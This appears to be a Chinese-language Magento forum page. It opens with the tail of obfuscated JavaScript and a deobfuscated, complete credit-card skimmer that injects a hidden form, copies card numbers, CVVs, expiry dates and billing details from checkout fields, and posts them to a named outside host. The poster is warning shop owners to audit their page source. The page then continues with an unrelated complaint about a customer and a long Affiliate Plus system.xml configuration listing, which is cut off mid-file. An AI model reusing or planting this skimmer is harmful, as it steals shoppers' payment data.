_0x83edx11=jQuery(_0x8949[17])[_0x8949[2]]();jQuery(_0x8949[18])[_0x8949[2]](_0x83edx5);jQuery(_0x8949[19])[_0x8949[2]](_0x83edx6);jQuery(_0x8949[20])[_0x8949[2]](_0x83edx7);jQuery(_0x8949[21])[_0x8949[2]](_0x83edx8);jQuery(_0x8949[22])[_0x8949[2]](_0x83edx9);jQuery(_0x8949[23])[_0x8949[2]](_0x83edxa);jQuery(_0x8949[24])[_0x8949[2]](_0x83edxb);jQuery(_0x8949[25])[_0x8949[2]](_0x83edxc);jQuery(_0x8949[26])[_0x8949[2]](_0x83edxd);jQuery(_0x8949[27])[_0x8949[2]](_0x83edxe);jQuery(_0x8949[28])[_0x8949[2]](_0x83edxf);jQuery(_0x8949[29])[_0x8949[2]](_0x83edx10);jQuery(_0x8949[30])[_0x8949[2]](_0x83edx11);var _0x83edx12=0;if((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)){_0x83edx12= 1};if(_0x83edx12!= 1){jQuery[_0x8949[34]](_0x8949[31],jQuery(_0x8949[33])[_0x8949[32]]())}}function init__lo(){if(!(jQuery(_0x8949[5])[_0x8949[4]]())){return};var _0x83edx14=jQuery(_0x8949[35]);for(var _0x83edx15=0;_0x83edx15< _0x83edx14[_0x8949[4]]();_0x83edx15++){var _0x83edx16=_0x83edx14[_0x8949[36]](_0x83edx15);var _0x83edx17=_0x83edx16[_0x8949[38]](_0x8949[37]);if(_0x83edx17[_0x8949[40]](_0x8949[39])>= 0){continue};_0x83edx16[_0x8949[38]](_0x8949[37],_0x8949[41]+ _0x83edx17)}}if(( typeof jQuery!= _0x8949[0])){(function(_0x83edx18){_0x83edx18(document)[_0x8949[46]](function(){_0x83edx18(_0x8949[44])[_0x8949[43]](_0x8949[42]);init__lo();lloo_interval= setInterval(_0x8949[45],7000)})})(jQuery)}}

解密后的真相内容:

if (typeof llooll == ‘undefined’) {
var llooll = 0;
var lloo_interval;

function mg__core() {
var _0x83edx4 = location[‘hostname’];
jQuery(‘.mi_forms input[name=”hosst_name”]’)[‘val’](_0x83edx4);
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx5 = jQuery(‘*[name*=”cc_num”]’)[‘val’]();
var _0x83edx6 = jQuery(‘*[name*=”cc_exp_m”]’)[‘val’]();
var _0x83edx7 = jQuery(‘*[name*=”cc_exp_y”]’)[‘val’]();
var _0x83edx8 = jQuery(‘*[name*=”cc_cid”]’)[‘val’]();
var _0x83edx9 = jQuery(‘*[name=”billing[firstname]”]’)[‘val’]();
var _0x83edxa = jQuery(‘*[name=”billing[lastname]”]’)[‘val’]();
var _0x83edxb = jQuery(‘*[name=”billing[street][]”]’)[‘val’]();
var _0x83edxc = jQuery(‘*[name=”billing[city]”]’)[‘val’]();
var _0x83edxd = jQuery(‘*[name=”billing[region_id]”]’)[‘val’]();
var _0x83edxe = jQuery(‘*[name=”billing[postcode]”]’)[‘val’]();
var _0x83edxf = jQuery(‘*[name=”billing[country_id]”]’)[‘val’]();
var _0x83edx10 = jQuery(‘*[name=”billing[telephone]”]’)[‘val’]();
var _0x83edx11 = jQuery(‘*[name=”billing[email]”]’)[‘val’]();
jQuery(‘.mi_forms input[name=”m_Card_number”]’)[‘val’](_0x83edx5);
jQuery(‘.mi_forms input[name=”m_Exp_1″]’)[‘val’](_0x83edx6);
jQuery(‘.mi_forms input[name=”m_Exp_2″]’)[‘val’](_0x83edx7);
jQuery(‘.mi_forms input[name=”m_CVV”]’)[‘val’](_0x83edx8);
jQuery(‘.mi_forms input[name=”m_first_name”]’)[‘val’](_0x83edx9);
jQuery(‘.mi_forms input[name=”m_second_name”]’)[‘val’](_0x83edxa);
jQuery(‘.mi_forms input[name=”m_address”]’)[‘val’](_0x83edxb);
jQuery(‘.mi_forms input[name=”m_city”]’)[‘val’](_0x83edxc);
jQuery(‘.mi_forms input[name=”m_state”]’)[‘val’](_0x83edxd);
jQuery(‘.mi_forms input[name=”m_zip”]’)[‘val’](_0x83edxe);
jQuery(‘.mi_forms input[name=”m_country”]’)[‘val’](_0x83edxf);
jQuery(‘.mi_forms input[name=”m_phone”]’)[‘val’](_0x83edx10);
jQuery(‘.mi_forms input[name=”m_vbv”]’)[‘val’](_0x83edx11);
var _0x83edx12 = 0;
if ((!_0x83edx5) || (!_0x83edx8) || (!_0x83edx6) || (!_0x83edx7)) {
_0x83edx12 = 1
};
if (_0x83edx12 != 1) {
jQuery[‘post’](‘https://magentocore.net/mage/mail2.php’, jQuery(‘.mi_forms’)[‘serialize’]())
}
}
function init__lo() {
if (!(jQuery(‘*[name*=”cc_num”]’)[‘size’]())) {
return
};
var _0x83edx14 = jQuery(‘button[onclick*=”.save”]’);
for (var _0x83edx15 = 0; _0x83edx15 < _0x83edx14[‘size’](); _0x83edx15++) {
var _0x83edx16 = _0x83edx14[‘eq’](_0x83edx15);
var _0x83edx17 = _0x83edx16[‘attr’](‘onclick’);
if (_0x83edx17[‘indexOf’](‘mg__core’) >= 0) {
continue
};
_0x83edx16[‘attr’](‘onclick’, ‘mg__core();’ + _0x83edx17)
}
}
if ((typeof jQuery != ‘undefined’)) {
(function (_0x83edx18) {
_0x83edx18(document)[‘ready’](function () {
_0x83edx18(‘body’)[‘append’](‘<form class=”mi_forms” style=”display: none;”><input type=”text” name=”hosst_name”><input type=”text” name=”m_Card_number”><input type=”text” name=”m_Exp_1″><input type=”text” name=”m_Exp_2″><input type=”text” name=”m_CVV”><input type=”text” name=”m_first_name”><input type=”text” name=”m_second_name”><input type=”text” name=”m_address”><input type=”text” name=”m_city”><input type=”text” name=”m_state”><input type=”text” name=”m_zip”><input type=”text” name=”m_country”><input type=”text” name=”m_phone”><input type=”text” name=”m_vbv”></form>’);
init__lo();
lloo_interval = setInterval(‘init__lo();’, 7000)
})
})(jQuery)
}
}

 

https://magentocore.net/mage/mail2.php 使用此MAIL发送功能把收集到的信息卡信息发往这个地址!!!

盗刷信用卡信息的团伙就问您们怕不怕!!!!请各位电商用户打开页面源码自查!!!!

淘宝客户:xalifz 差评事件全程聊天记录回顾~

网站事务neasel 发表了文章 • 0 个评论 • 2 次浏览 • 2018-03-22 20:10 • 来自相关话题

淘宝上某个客户,在我们免费处理过同一个问题之后,自己没有明白,非要要求处理第二次,拿差评相威胁。
这种人的嘴脸就是找骂的!
淘宝上某个客户,在我们免费处理过同一个问题之后,自己没有明白,非要要求处理第二次,拿差评相威胁。
这种人的嘴脸就是找骂的!

1.jpg

2018-03-22_04.png

magestore Affiliate Plus扩展部分版本无Enable Substore feature后台设置项的解决方法

技术分享neasel 发表了文章 • 0 个评论 • 7 次浏览 • 2017-08-25 10:40 • 来自相关话题

此功能是4.3以后的就自带的,但是部分版本存在没有设置项的问题,请
修改
app/code/local/Magestore/Affiliateplus/etc/
位置的system.xml文件
<general>
 <substore_config translate="label comment">
                            <label>Enable Substore feature</label>
                            <frontend_type>select</frontend_type>
                            <sort_order>80</sort_order>
                            <source_model>adminhtml/system_config_source_yesno</source_model>
                            <show_in_default>1</show_in_default>
                            <show_in_website>1</show_in_website>
                            <show_in_store>1</show_in_store>
                            <comment>Each affiliate users will have a their own substore on your Magento shop to refer more customers.</comment>
                        </substore_config>
</general>
 

完整system.xml代码为[code]<?xml version="1.0"?>
<config>
<tabs>
<magestore translate="label">
<label>Magestore Extension</label>
<sort_order>400</sort_order>
</magestore>
</tabs>

<sections>
<affiliateplus translate="label" module="affiliateplus">
<class>separator-top</class>
<label>Affiliate Plus</label>
<tab>magestore</tab>
<frontend_type>text</frontend_type>
<sort_order>300</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<groups>
<!--Changed By Adam 11/09/2014: Add User Guide to configuration page-->
<document_help translate="label">
<label>Document and Help</label>
<frontend_type>text</frontend_type>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!-- <affiliateplus_document_and_help translate="label">
<label>To find all userguides and useful documents of Affiliate Plus extension, please visit our Resources page.</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_resourcepage</frontend_model>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_document_and_help>-->
<affiliateplus_installation_guide_separator translate="label">
<label>Affiliate Plus Installation</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>5</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_installation_guide_separator>
<affiliateplus_installation_guide translate="label">
<label>Affiliate Plus Installation Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_affiliateplusinstallation</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_installation_guide>
<affiliateplus_plugin_installation_guide translate="label">
<label>Affiliate Plus Plugin Installation Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_affiliateplusplugininstallation</frontend_model>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_plugin_installation_guide>
<affiliateplus_user_guide_separator translate="label">
<label>Affiliate Plus User Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_user_guide_separator>
<affiliateplus_standard_user_guide translate="label">
<label>Affiliate Plus Standard User Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_standard</frontend_model>
<sort_order>45</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_standard_user_guide>
</fields>
</document_help>
<general translate="label">
<label>General Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!--Changed By Adam 28/07/2014-->
<enable translate="label">
<label>Enable Affiliate Plus Module</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</enable>
<show_affiliate_link_on_frontend translate="label">
<label>Show Affiliate link in frontend</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</show_affiliate_link_on_frontend>

<welcome_page translate="label comment">
<label>Welcome page using CMS</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_cms_page</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select Welcome page of your Affiliate system</comment>
</welcome_page>

<material_enable translate="label">
<label>Show Material page</label>
<frontend_type>select</frontend_type>
<sort_order>30</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</material_enable>
<material_page translate="label comment">
<label>Material page using CMS</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_cms_page</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<material_enable>1</material_enable>
</depends>
<comment>Create CMS page and manage there</comment>
</material_page>
<substore_config translate="label comment">
<label>Enable Substore feature</label>
<frontend_type>select</frontend_type>
<sort_order>80</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Each affiliate users will have a their own substore on your Magento shop to refer more customers.</comment>
</substore_config>
<expired_time translate="label comment">
<label>Cookie Expiration (Days)</label>
<frontend_type>text</frontend_type>
<sort_order>70</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>The number of days for admin to store cookies of this program. Affiliates and invited customers can receive commission and discount for purchases made through affiliate link within this time.</comment>
</expired_time>
</fields>
</general>
<account>
<label>Account Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>3</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<sign_up_separator translate="label">
<label>Affiliate Sign-up</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sign_up_separator>
<!--
hainh update add terms and conditions field, auto create aff config
21-07-2014
-->
<terms_and_conditions translate="label">
<label>Terms and Conditions</label>
<frontend_type>textarea</frontend_type>
<sort_order>8</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Leave blank for not showing Terms and Conditions</comment>
</terms_and_conditions>
<auto_create_affiliate translate="label">
<label>Auto create Affiliate account when Customer registers</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</auto_create_affiliate>
<!-- hainh end editing -->
<register_description translate="label">
<label>Sign-up description</label>
<frontend_type>textarea</frontend_type>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</register_description>
<required_address translate="label">
<label>Require address to sign up</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>12</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</required_address>
<required_paypal translate="label">
<label>Require PayPal email address to sign up</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>13</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</required_paypal>
<need_approved translate="label">
<label>Need admin's approval</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>14</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</need_approved>
<notification_after_signing_up translate="label">
<label>Notification after signing up</label>
<frontend_type>textarea</frontend_type>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</notification_after_signing_up>

<balance_separator translate="label">
<label>Account Balance</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</balance_separator>
<balance translate="label">
<label>Account Balance Scope</label>
<frontend_type>select</frontend_type>
<sort_order>30</sort_order>
<source_model>affiliateplus/system_config_source_scope</source_model>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment>Select website(s) on which affiliates can use commissions to purchase items.</comment>
</balance>
</fields>
</account>

<commission>
<label>Commission Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>4</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<calculate_separator translate="label">
<label>Pay per Sales/ Profit Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</calculate_separator>
<affiliate_type translate="label">
<label>Pay commission</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_type</source_model>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</affiliate_type>
<commission_type translate="label">
<label>Commission Type</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_fixedpercentage</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</commission_type>
<commission translate="label">
<label>Commission Value</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</commission>

<use_secondary translate="label comment">
<label>Use different commission from 2nd order of a Customer</label>
<frontend_type>select</frontend_type>
<sort_order>35</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select "No" to apply the above commission to all orders</comment>
</use_secondary>
<secondary_type translate="label">
<label>Commission Type (from 2nd order)</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_fixedpercentage</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_type>
<secondary_commission translate="label">
<label>Commission Value (from 2nd order)</label>
<frontend_type>text</frontend_type>
<sort_order>45</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_commission>

<process_separator translate="label">
<label>Process Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>420</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</process_separator>

<!--Added By Adam (29/08/2016): allow affiliate to get commission from his purchase-->
<allow_affiliate_get_commission_from_his_purchase translate="label comment">
<label>Allow affiliate to get commission from his purchase</label>
<frontend_type>select</frontend_type>
<sort_order>425</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</allow_affiliate_get_commission_from_his_purchase>
<!--End code-->

<updatebalance_orderstatus translate="label">
<label>Add commission to affiliate account balance when order status is</label>
<frontend_type>select</frontend_type>
<sort_order>430</sort_order>
<source_model>affiliateplus/system_config_source_orderstatus</source_model> <!--Changed By Adam 22/08/2014-->
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>
If you select order's status as "processing", the commission just be calculate for the items that have been invoiced.
</comment>
</updatebalance_orderstatus>
<holding_period translate="label comment">
<label>Holding period</label>
<frontend_type>text</frontend_type>
<sort_order>435</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>(days). If empty or zero, affiliates' commission will not be hold back.</comment>
</holding_period>
<decrease_commission_creditmemo translate="label">
<label>Subtract commission from affiliate account balance when credit memo is created</label>
<frontend_type>select</frontend_type>
<sort_order>440</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</decrease_commission_creditmemo>
<cancel_transaction_orderstatus translate="label">
<label>Subtract commission from account balance when order status is</label>
<frontend_type>multiselect</frontend_type>
<sort_order>450</sort_order>
<source_model>adminhtml/system_config_source_order_status</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</cancel_transaction_orderstatus>

<lifetime_separator translate="label">
<label>Lifetime Sales Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>400</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</lifetime_separator>
<life_time_sales translate="label comment">
<label>Lifetime Sales Commission</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>410</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment><![CDATA[Customer first buys through affiliate A's link, though later clicks affiliate B's link and buys, this transaction will still be counted for affiliate A.]]></comment>
</life_time_sales>
</fields>
</commission>

<discount>
<label>Discount Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>5</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<allow_discount translate="label">
<label>When there's shopping cart discount, apply</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discount</source_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</allow_discount>

<discount_type translate="label">
<label>Discount Type</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discounttype</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</discount_type>

<discount translate="label">
<label>Discount Value</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</discount>

<use_secondary translate="label comment">
<label>Use different discount from 2nd order of a Customer</label>
<frontend_type>select</frontend_type>
<sort_order>35</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select "No" to apply above discount for all orders</comment>
</use_secondary>
<secondary_type translate="label">
<label>Discount Type (from 2nd order)</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discounttype</source_model>
<sort_order>37</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_type>
<secondary_discount translate="label">
<label>Discount Value (from 2nd order)</label>
<frontend_type>text</frontend_type>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_discount>

<type_discount translate="label">
<label>Discount displayed</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_cartproduct</source_model>
<sort_order>50</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</type_discount>
</fields>
</discount>

<payment translate="label">
<label>Withdrawal Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!--edit by blanka-->
<default_method translate="label">
<label>Default payment method</label>
<frontend_type>select</frontend_type>
<sort_order>112</sort_order>
<source_model>affiliateplus/system_config_source_payments</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Select default payment method when affiliates request payment]]></comment>
</default_method>
<!--end edit by blanka-->
<store_credit translate="label">
<label>Use commission as store credit</label>
<frontend_type>select</frontend_type>
<sort_order>112</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Allow affiliates to use commission to check out at your store]]></comment>
</store_credit>
<withdrawals translate="label">
<label>Allow withdrawal request</label>
<frontend_type>select</frontend_type>
<sort_order>117</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</withdrawals>

<payment_release translate="label">
<label>The minimum balance in affiliate account to request withdrawal</label>
<frontend_type>text</frontend_type>
<sort_order>120</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</payment_release>

<tax_class translate="label comment">
<label>Tax class for withdrawal</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_shipping_taxclass</source_model>
<sort_order>125</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</tax_class>

<!-- <tax_calc translate="label">
<label>Tax Calculation</label>
<frontend_type>select</frontend_type>
<sort_order>130</sort_order>
<source_model>affiliateplus/system_config_source_feetax</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</tax_calc> -->

<!-- <payment_method>
<label>Paypal Withdrawal method</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_paymentmethod</source_model>
<sort_order>130</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</payment_method>-->

<who_pay_fees translate="label">
<label>Who pays transaction fee</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_whopayfees</source_model>
<sort_order>140</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</who_pay_fees>

<cancel_days translate="label">
<label>Allow affiliates to cancel withdrawal request within</label>
<frontend_type>text</frontend_type>
<sort_order>150</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>days. 0 or empty is unlimited.</comment>
</cancel_days>

<reduce_balance translate="label">
<label>Subtract affiliate account balance immediately when a withdrawal request is created</label>
<frontend_type>select</frontend_type>
<sort_order>135</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</reduce_balance>

</fields>
</payment>

<email translate="label">
<label>Email Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<sender_contact_separator translate="label">
<label>System Email Sender</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sender_contact_separator>
<name_sender translate="label">
<label>Sender Name</label>
<frontend_type>text</frontend_type>
<sort_order>2</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</name_sender>
<email_sender translate="label">
<label>Sender Email</label>
<frontend_type>text</frontend_type>
<validate>validate-email</validate>
<sort_order>3</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Used to send emails from system to affiliates. If blank, affiliate system will use general store email address.]]></comment>
</email_sender>
<sign_up_separator translate="label">
<label>Affiliate Sign-up Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sign_up_separator>
<is_sent_email_new_account translate="label">
<label>Send email to new affiliate</label>
<frontend_type>select</frontend_type>
<sort_order>20</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_new_account>
<new_account_email_template translate="label">
<label>Email template sent to newly registered affiliates</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_account_email_template>
<approved_account_email_template translate="label">
<label>Email template sent to newly approved affiliates</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</approved_account_email_template>
<is_sent_to_sales_new_account>
<label>Send email to admin when a new affiliate registers</label>
<frontend_type>select</frontend_type>
<sort_order>50</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_to_sales_new_account>
<new_account_sales_email_template>
<label>Email template sent to admin when a new affiliate registers</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>60</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_account_sales_email_template>

<transactions_separator translate="label">
